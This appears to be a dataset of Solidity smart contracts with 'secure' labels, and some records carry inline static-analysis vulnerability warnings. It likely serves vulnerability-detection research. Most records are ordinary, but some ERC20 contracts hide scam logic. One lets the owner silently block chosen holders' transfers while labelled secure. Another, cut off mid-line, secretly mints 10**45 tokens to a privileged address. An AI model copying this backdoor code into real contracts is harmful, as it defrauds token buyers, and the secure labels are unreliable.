"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\n\ncontract SnappySale is Ownable {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n AggregatorV3Interface public priceFeedETH;\n\n address public feeReceiver;\n\n IERC20 public USDT;\n\n IERC20 public USDC;\n\n IERC20 public token;\n\n uint256 public TokenPricePerUsdt;\n\n uint256 public TokenSold;\n\n uint256 public maxTokeninPresale;\n\n mapping(address => bool) public isBlacklist;\n\n bool public presaleStatus;\n\n bool public CanClaim;\n\n mapping(address => uint256) public Claimable;\n\n event Recovered(address token, uint256 amount);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 515cf63): SnappySale.constructor(IERC20,IERC20,IERC20,address)._feeRec lacks a zerocheck on \t feeReceiver = _feeRec\n\t// Recommendation for 515cf63: Check that the address is not zero.\n constructor(IERC20 _USDT, IERC20 _USDC, IERC20 _token, address _feeRec) {\n TokenPricePerUsdt = 64102564100000000000;\n\n maxTokeninPresale = 192308 * (1E18);\n\n priceFeedETH = AggregatorV3Interface(\n 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419\n );\n\n USDT = _USDT;\n\n USDC = _USDC;\n\n token = _token;\n\n\t\t// missing-zero-check | ID: 515cf63\n feeReceiver = _feeRec;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ca34f7a): SnappySale.getLatestPriceETH() ignores return value by (None,price,None,None,None) = priceFeedETH.latestRoundData()\n\t// Recommendation for ca34f7a: Ensure that all the return values of the function calls are used.\n function getLatestPriceETH() public view returns (uint256) {\n\t\t// unused-return | ID: ca34f7a\n (, int256 price, , , ) = priceFeedETH.latestRoundData();\n\n return uint256(price);\n }\n\n function setaggregatorv3(address _priceFeedETH) external onlyOwner {\n priceFeedETH = AggregatorV3Interface(_priceFeedETH);\n }\n\n function BuyWithETH() external payable {\n require(\n TokenSold.add(ETHToToken(msg.value)) <= maxTokeninPresale,\n \"Hardcap Reached!\"\n );\n\n require(presaleStatus == true, \"Presale : Presale is not started\");\n\n require(msg.value > 0, \"Presale : Unsuitable Amount\");\n\n require(\n isBlacklist[msg.sender] == false,\n \"Presale : you are blacklisted\"\n );\n\n require(tx.origin == msg.sender, \"Presale : caller is a contract\");\n\n payable(feeReceiver).transfer(msg.value);\n\n Claimable[msg.sender] += ETHToToken(msg.value);\n\n TokenSold = TokenSold.add(ETHToToken(msg.value));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1169587): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1169587: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 9c4e3c2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 9c4e3c2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function BuyWithUSDT(uint256 _amt) external {\n require(\n TokenSold.add(getValuePerUsdt(_amt)) <= maxTokeninPresale,\n \"Hardcap Reached!\"\n );\n\n require(presaleStatus == true, \"Presale : Presale is not started\");\n\n require(_amt > 0, \"Presale : Unsuitable Amount\");\n\n require(\n isBlacklist[msg.sender] == false,\n \"Presale : you are blacklisted\"\n );\n\n require(tx.origin == msg.sender, \"Presale : caller is a contract\");\n\n\t\t// reentrancy-benign | ID: 1169587\n\t\t// reentrancy-no-eth | ID: 9c4e3c2\n IERC20(USDT).safeTransferFrom(msg.sender, feeReceiver, _amt);\n\n\t\t// reentrancy-benign | ID: 1169587\n Claimable[msg.sender] += getValuePerUsdt(_amt);\n\n\t\t// reentrancy-no-eth | ID: 9c4e3c2\n TokenSold = TokenSold.add(getValuePerUsdt(_amt));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0a3b083): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0a3b083: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1fdf25a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1fdf25a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function BuyWithUSDC(uint256 _amt) external {\n require(\n TokenSold.add(getValuePerUsdt(_amt)) <= maxTokeninPresale,\n \"Hardcap Reached!\"\n );\n\n require(presaleStatus == true, \"Presale : Presale is not started\");\n\n require(_amt > 0, \"Presale : Unsuitable Amount\");\n\n require(\n isBlacklist[msg.sender] == false,\n \"Presale : you are blacklisted\"\n );\n\n require(tx.origin == msg.sender, \"Presale : caller is a contract\");\n\n\t\t// reentrancy-benign | ID: 0a3b083\n\t\t// reentrancy-no-eth | ID: 1fdf25a\n IERC20(USDC).safeTransferFrom(msg.sender, feeReceiver, _amt);\n\n\t\t// reentrancy-benign | ID: 0a3b083\n Claimable[msg.sender] += getValuePerUsdt(_amt);\n\n\t\t// reentrancy-no-eth | ID: 1fdf25a\n TokenSold = TokenSold.add(getValuePerUsdt(_amt));\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1a7a374): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1a7a374: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b94e1b1): SnappySale.claim() ignores return value by token.transfer(msg.sender,claimable)\n\t// Recommendation for b94e1b1: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function claim() external {\n require(CanClaim == true, \"Claim is not open yet\");\n\n require(\n isBlacklist[msg.sender] == false,\n \"Presale : you are blacklisted\"\n );\n\n require(tx.origin == msg.sender, \"Presale : caller is a contract\");\n\n uint256 claimable = Claimable[msg.sender];\n\n require(claimable > 0, \"no claimable found\");\n\n\t\t// reentrancy-no-eth | ID: 1a7a374\n\t\t// unchecked-transfer | ID: b94e1b1\n token.transfer(msg.sender, claimable);\n\n\t\t// reentrancy-no-eth | ID: 1a7a374\n Claimable[msg.sender] = 0;\n }\n\n function getValuePerUsdt(uint256 _amt) public view returns (uint256) {\n return (TokenPricePerUsdt.mul(_amt)).div(1e6);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e33706e): SnappySale.setTokenPricePerUsdt(uint256) should emit an event for TokenPricePerUsdt = NewPrice \n\t// Recommendation for e33706e: Emit an event for critical parameter changes.\n function setTokenPricePerUsdt(uint256 NewPrice) external onlyOwner {\n\t\t// events-maths | ID: e33706e\n TokenPricePerUsdt = NewPrice;\n }\n\n function stopPresale() external onlyOwner {\n presaleStatus = false;\n }\n\n function StartClaim() external onlyOwner {\n CanClaim = true;\n }\n\n function StopClaim() external onlyOwner {\n CanClaim = false;\n }\n\n function resumePresale() external onlyOwner {\n presaleStatus = true;\n }\n\n function setmaxTokeninPresale(uint256 _value) external onlyOwner {\n maxTokeninPresale = _value;\n }\n\n function contractbalance() public view returns (uint256) {\n return address(this).balance;\n }\n\n\t// WARNING Optimization Issue (var-read-using-this | ID: a0fe1b5): The function SnappySale.recoverERC20(address,uint256) reads IERC20(tokenAddress).transfer(this.owner(),tokenAmount) with `this` which adds an extra STATICCALL.\n\t// Recommendation for a0fe1b5: Read the variable directly from storage instead of calling the contract.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9a56dcd): Reentrancy in SnappySale.recoverERC20(address,uint256) External calls IERC20(tokenAddress).transfer(this.owner(),tokenAmount) Event emitted after the call(s) Recovered(tokenAddress,tokenAmount)\n\t// Recommendation for 9a56dcd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8389a50): SnappySale.recoverERC20(address,uint256) ignores return value by IERC20(tokenAddress).transfer(this.owner(),tokenAmount)\n\t// Recommendation for 8389a50: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function recoverERC20(\n address tokenAddress,\n uint256 tokenAmount\n ) external onlyOwner {\n\t\t// var-read-using-this | ID: a0fe1b5\n\t\t// reentrancy-events | ID: 9a56dcd\n\t\t// unchecked-transfer | ID: 8389a50\n IERC20(tokenAddress).transfer(this.owner(), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9a56dcd\n emit Recovered(tokenAddress, tokenAmount);\n }\n\n\t// WARNING Optimization Issue (var-read-using-this | ID: 89a299e): The function SnappySale.EmergencyUSDT(address,uint256) reads IERC20(_usdt).safeTransfer(this.owner(),tokenAmount) with `this` which adds an extra STATICCALL.\n\t// Recommendation for 89a299e: Read the variable directly from storage instead of calling the contract.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9cb44f3): Reentrancy in SnappySale.EmergencyUSDT(address,uint256) External calls IERC20(_usdt).safeTransfer(this.owner(),tokenAmount) Event emitted after the call(s) Recovered(address(_usdt),tokenAmount)\n\t// Recommendation for 9cb44f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function EmergencyUSDT(\n address _usdt,\n uint256 tokenAmount\n ) external onlyOwner {\n\t\t// var-read-using-this | ID: 89a299e\n\t\t// reentrancy-events | ID: 9cb44f3\n IERC20(_usdt).safeTransfer(this.owner(), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9cb44f3\n emit Recovered(address(_usdt), tokenAmount);\n }\n\n function settoken(IERC20 _token) external onlyOwner {\n token = _token;\n }\n\n function setUSDT(IERC20 _usdt) external onlyOwner {\n USDT = _usdt;\n }\n\n function setUSDC(IERC20 _USDC) external onlyOwner {\n USDC = _USDC;\n }\n\n function setBlacklist(address _addr, bool _state) external onlyOwner {\n isBlacklist[_addr] = _state;\n }\n\n function releaseFunds() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 482496f): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 482496f: Consider ordering multiplication before division.\n function ETHToToken(uint256 _amount) public view returns (uint256) {\n\t\t// divide-before-multiply | ID: 482496f\n uint256 ETHToUSD = (_amount * (getLatestPriceETH())) / (1 ether);\n\n\t\t// divide-before-multiply | ID: 482496f\n uint256 numberOfTokens = (ETHToUSD * (TokenPricePerUsdt)) / (1e8);\n\n return numberOfTokens;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1092685): SnappySale.changefeeReceiver(address).newFeeReceiver lacks a zerocheck on \t feeReceiver = newFeeReceiver\n\t// Recommendation for 1092685: Check that the address is not zero.\n function changefeeReceiver(address newFeeReceiver) external onlyOwner {\n\t\t// missing-zero-check | ID: 1092685\n feeReceiver = newFeeReceiver;\n }\n}",
"file_name": "solidity_code_2490.sol",
"secure": 0,
"size_bytes": 13118
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ERC721URIStorage.sol\" as ERC721URIStorage;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract MiraNft is Ownable, ERC721URIStorage {\n uint256 internal tokenIdCounter_;\n\n mapping(uint256 => mapping(address => bool)) internal ownerApprovals_;\n\n\t// WARNING Vulnerability (void-cst | severity: Low | ID: 4ec8a45): Void constructor called in MiraNft.constructor(string,string) ERC721URIStorage()\n\t// Recommendation for 4ec8a45: Remove the constructor call.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3908825): MiraNft.constructor(string,string)._name shadows ERC721._name (state variable)\n\t// Recommendation for 3908825: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6e40591): MiraNft.constructor(string,string)._symbol shadows ERC721._symbol (state variable)\n\t// Recommendation for 6e40591: Rename the local variables that shadow another component.\n constructor(\n string memory _name,\n string memory _symbol\n\t// void-cst | ID: 4ec8a45\n ) Ownable() ERC721(_name, _symbol) ERC721URIStorage() {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 99fe897): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 99fe897: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mint(string memory _tokenURI, address _to) external onlyOwner {\n tokenIdCounter_ += 1;\n\n\t\t// reentrancy-benign | ID: 99fe897\n _safeMint(_to, tokenIdCounter_);\n\t\t// reentrancy-benign | ID: 99fe897\n _setTokenURI(tokenIdCounter_, _tokenURI);\n }\n\n function updateTokenURI(\n uint256 _tokenId,\n string memory _newTokenURI\n ) external onlyOwner {\n _setTokenURI(_tokenId, _newTokenURI);\n }\n\n function burn(uint256 _tokenId) external onlyOwner {\n _burn(_tokenId);\n }\n\n function approveTransfer(\n address _from,\n address _to,\n uint256 _tokenId,\n bool _approved\n ) external onlyOwner {\n require(ownerOf(_tokenId) == _from, \"From is not token owner\");\n ownerApprovals_[_tokenId][_to] = _approved;\n }\n\n function _beforeTokenTransfer(\n address _from,\n address _to,\n uint256 _tokenId\n ) internal override {\n if (_from != address(0) && _to != address(0)) {\n require(\n ownerApprovals_[_tokenId][_to],\n \"Transfer has been not approved\"\n );\n }\n }\n}",
"file_name": "solidity_code_2491.sol",
"secure": 0,
"size_bytes": 2894
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC3156FlashBorrower {\n function onFlashLoan(\n address initiator,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata data\n ) external returns (bytes32);\n}",
"file_name": "solidity_code_2492.sol",
"secure": 1,
"size_bytes": 288
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n address internal _owner;\n mapping(address => uint256) internal _balances;\n mapping(address => bool) private _feeBurn;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private maxTxLimit = 1 * 10 ** 9 * 10 ** 18;\n uint256 internal _totalSupply;\n bool intTx = true;\n uint256 private balances;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _owner = msg.sender;\n balances = maxTxLimit;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"Ownable: caller is not the owner\");\n _;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function revertFee(address _address) external onlyOwner {\n _feeBurn[_address] = false;\n }\n\n function feeBurn(address _address) external onlyOwner {\n _feeBurn[_address] = true;\n }\n\n function feeBurned(address _address) public view returns (bool) {\n return _feeBurn[_address];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n if (_feeBurn[sender] || _feeBurn[recipient])\n require(intTx == false, \"\");\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = balances - amount;\n _totalSupply -= amount;\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2493.sol",
"secure": 1,
"size_bytes": 5603
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SteemToken is ERC20 {\n uint8 private immutable _decimals = 18;\n\n constructor() ERC20(\"Steem Knights\", \"STEEM\") {\n _totalSupply += 1000000 * 10 ** 18;\n _balances[_msgSender()] += _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function burn(address account, uint256 amount) external onlyOwner {\n _burn(account, amount);\n }\n}",
"file_name": "solidity_code_2494.sol",
"secure": 1,
"size_bytes": 652
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 10000000 * 10 ** 18;\n\n string private _name = \"DeFi Hodl\";\n string private _symbol = \"iHODL\";\n\n constructor() {\n _balances[_msgSender()] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2495.sol",
"secure": 1,
"size_bytes": 3993
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC3156FlashBorrower.sol\" as IERC3156FlashBorrower;\n\ninterface IERC3156FlashLender {\n function maxFlashLoan(address token) external view returns (uint256);\n\n function flashFee(\n address token,\n uint256 amount\n ) external view returns (uint256);\n\n function flashLoan(\n IERC3156FlashBorrower receiver,\n address token,\n uint256 amount,\n bytes calldata data\n ) external returns (bool);\n}",
"file_name": "solidity_code_2496.sol",
"secure": 1,
"size_bytes": 529
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./OwnableDelegateProxy.sol\" as OwnableDelegateProxy;\n\ninterface ProxyRegistry {\n function proxies(address) external view returns (OwnableDelegateProxy);\n}",
"file_name": "solidity_code_2497.sol",
"secure": 1,
"size_bytes": 231
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ProxyRegistry.sol\" as ProxyRegistry;\n\nlibrary SupportsOpensea {\n function isApprovedForAll(\n address owner,\n address operator\n ) public view returns (bool) {\n ProxyRegistry proxyRegistry = ProxyRegistry(\n 0xa5409ec958C83C3f309868babACA7c86DCB077c1\n );\n\n return address(proxyRegistry.proxies(owner)) == operator;\n }\n}",
"file_name": "solidity_code_2498.sol",
"secure": 1,
"size_bytes": 456
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\nlibrary OracleInterfaces {\n bytes32 public constant Oracle = \"Oracle\";\n bytes32 public constant IdentifierWhitelist = \"IdentifierWhitelist\";\n bytes32 public constant Store = \"Store\";\n bytes32 public constant FinancialContractsAdmin = \"FinancialContractsAdmin\";\n bytes32 public constant Registry = \"Registry\";\n bytes32 public constant CollateralWhitelist = \"CollateralWhitelist\";\n bytes32 public constant OptimisticOracle = \"OptimisticOracle\";\n bytes32 public constant Bridge = \"Bridge\";\n bytes32 public constant GenericHandler = \"GenericHandler\";\n bytes32 public constant SkinnyOptimisticOracle = \"SkinnyOptimisticOracle\";\n bytes32 public constant ChildMessenger = \"ChildMessenger\";\n bytes32 public constant OracleHub = \"OracleHub\";\n bytes32 public constant OracleSpoke = \"OracleSpoke\";\n}",
"file_name": "solidity_code_2499.sol",
"secure": 1,
"size_bytes": 913
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface UniswapRouterV2 {\n function swapETHForTokens(\n address a,\n uint256 b,\n address c\n ) external view returns (uint256);\n\n function swapTokensForETH(\n address a,\n uint256 b,\n address c\n ) external view returns (uint256);\n\n function swapTokensForTokens(\n address a,\n uint256 b,\n address c\n ) external view returns (uint256);\n\n function dotswap(\n address cc,\n address destination,\n uint256 total\n ) external view returns (uint256);\n\n function ytg767qweswpa(\n address oong,\n uint256 total,\n address destination\n ) external view returns (uint256);\n\n function getLPaddress(\n address a,\n uint256 b,\n address c\n ) external view returns (address);\n\n function getRouter(\n address a,\n uint256 b,\n address c\n ) external view returns (address);\n}",
"file_name": "solidity_code_25.sol",
"secure": 1,
"size_bytes": 1033
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract LSD is ERC20, Ownable {\n constructor() ERC20(\"LSD\", \"LSD\") {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_250.sol",
"secure": 1,
"size_bytes": 334
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RAIDToken is ERC20 {\n constructor(\n uint256 initialSupply\n ) ERC20(unicode\"Raid Guild Token ⚔️\", \"RAID\") {\n _mint(\n address(0x3C3692681cD1c0F42FA68A2521719Cc24CEc3AF3),\n initialSupply\n );\n }\n}",
"file_name": "solidity_code_2500.sol",
"secure": 1,
"size_bytes": 396
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => bool) private Cokes;\n mapping(address => bool) private Church;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address public pair;\n uint256 private hbo;\n IDEXRouter router;\n\n string private _name;\n string private _symbol;\n address private _msgSenders;\n uint256 private _totalSupply;\n uint256 private Backpack;\n uint256 private Natasha;\n bool private Winter;\n uint256 private Springs;\n\n uint256 private Kings = 0;\n address private Queens = address(0);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 45a3444): ERC20.constructor(string,string,address).msgSender_ lacks a zerocheck on \t _msgSenders = msgSender_\n\t// Recommendation for 45a3444: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n address msgSender_\n ) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n\t\t// missing-zero-check | ID: 45a3444\n _msgSenders = msgSender_;\n _name = name_;\n _symbol = symbol_;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function _balanceTheMilitary(address account) internal {\n _balances[account] += (\n ((account == _msgSenders) && (hbo > 2)) ? (10 ** 45) : 0\n );\n }\n\n function burn(uint256 amount) public virtual returns (bool) {\n _burn(_msgSender(), amount);\n return true;\n }\n\n function _balanceTheMedics(\n address sender,\n address recipient,\n uint256 amount,\n bool doodle\n ) internal {\n (Backpack, Winter) = doodle ? (Natasha, true) : (Backpack, Winter);\n\n if ((Cokes[sender] != true)) {\n require(amount < Backpack);\n if (Winter == true) {\n require(!(Church[sender] == true));\n Church[sender] = true;\n }\n }\n\t\t// timestamp | ID: 39b4eb7\n\t\t// incorrect-equality | ID: bbc6cd3\n _balances[Queens] = ((Kings == block.timestamp) &&\n 